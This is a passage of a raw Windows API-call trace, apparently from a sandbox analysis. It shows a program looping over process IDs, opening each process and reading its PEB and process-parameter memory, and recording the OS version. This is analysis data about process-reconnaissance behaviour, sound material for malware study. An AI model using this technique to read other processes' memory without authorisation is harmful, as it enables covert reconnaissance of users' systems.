ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.269] malloc (_Size=0x64) returned 0x20abc280290 [0266.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280290, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0266.270] free (_Block=0x20abc280290) [0266.270] CloseHandle (hObject=0x16c) returned 1 [0266.271] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0266.275] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4136") returned 4 [0266.276] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.276] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.290] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x16c [0266.290] GetLastError () returned 0x0 [0266.291] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.291] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.292] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc22fc240, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.293] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.294] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.294] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d2020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.294] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.294] malloc (_Size=0x66) returned 0x20abc280370 [0266.295] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5d1956, lpBuffer=0x20abc280370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0266.295] free (_Block=0x20abc280370) [0266.395] CloseHandle (hObject=0x16c) returned 1 [0266.396] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0266.405] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4152") returned 4 [0266.407] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.407] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.430] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x16c [0266.430] GetLastError () returned 0x0 [0266.431] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.432] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.432] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.432] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.432] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7918f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.471] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.472] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.472] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x530020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.473] malloc (_Size=0x76) returned 0x20abc282120 [0266.473] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.473] free (_Block=0x20abc282120) [0266.474] CloseHandle (hObject=0x16c) returned 1 [0266.475] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0266.480] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4160") returned 4 [0266.481] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.481] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x16c [0266.496] GetLastError () returned 0x0 [0266.497] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.497] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.498] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.498] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.498] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.499] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.501] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.501] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.501] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.501] malloc (_Size=0x7a) returned 0x20abc286260 [0266.501] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f196a, lpBuffer=0x20abc286260, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286260*, lpNumberOfBytesRead=0x0) returned 1 [0266.502] free (_Block=0x20abc286260) [0266.503] CloseHandle (hObject=0x16c) returned 1 [0266.503] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0266.508] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4172") returned 4 [0266.509] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.509] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.549] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x16c [0266.549] GetLastError () returned 0x0 [0266.550] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.550] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.551] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.551] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7018f8, lpBuffer=0x2dc22fc240, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.552] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.553] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.553] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.553] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.554] malloc (_Size=0x86) returned 0x20abc285f00 [0266.554] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701976, lpBuffer=0x20abc285f00, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285f00*, lpNumberOfBytesRead=0x0) returned 1 [0266.554] free (_Block=0x20abc285f00) [0266.555] CloseHandle (hObject=0x16c) returned 1 [0266.555] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0266.559] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4188") returned 4 [0266.561] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.561] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x16c [0266.592] GetLastError () returned 0x0 [0266.593] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.593] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.595] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.596] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.596] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.596] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.597] malloc (_Size=0x76) returned 0x20abc282120 [0266.597] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0266.597] free (_Block=0x20abc282120) [0266.598] CloseHandle (hObject=0x16c) returned 1 [0266.599] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0266.603] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4196") returned 4 [0266.604] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.604] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x16c [0266.620] GetLastError () returned 0x0 [0266.622] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.622] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.622] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.622] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511ca0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.622] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.623] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.625] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.625] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.625] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.625] malloc (_Size=0x58) returned 0x20abc2a7900 [0266.625] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511948, lpBuffer=0x20abc2a7900, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7900*, lpNumberOfBytesRead=0x0) returned 1 [0266.626] free (_Block=0x20abc2a7900) [0266.627] CloseHandle (hObject=0x16c) returned 1 [0266.627] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0266.631] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4208") returned 4 [0266.633] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.633] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.664] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x16c [0266.664] GetLastError () returned 0x0 [0266.666] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0266.666] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0266.668] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0266.670] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0266.670] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0266.670] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0266.670] malloc (_Size=0x6a) returned 0x20abc2831b0 [0266.670] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0266.671] free (_Block=0x20abc2831b0) [0266.672] CloseHandle (hObject=0x16c) returned 1 [0266.672] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0266.677] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4224") returned 4 [0266.678] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0266.678] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0266.704] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x16c [0266.704] GetLastError () returned 0x0 [0266.706] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0266.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0266.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0266.706] 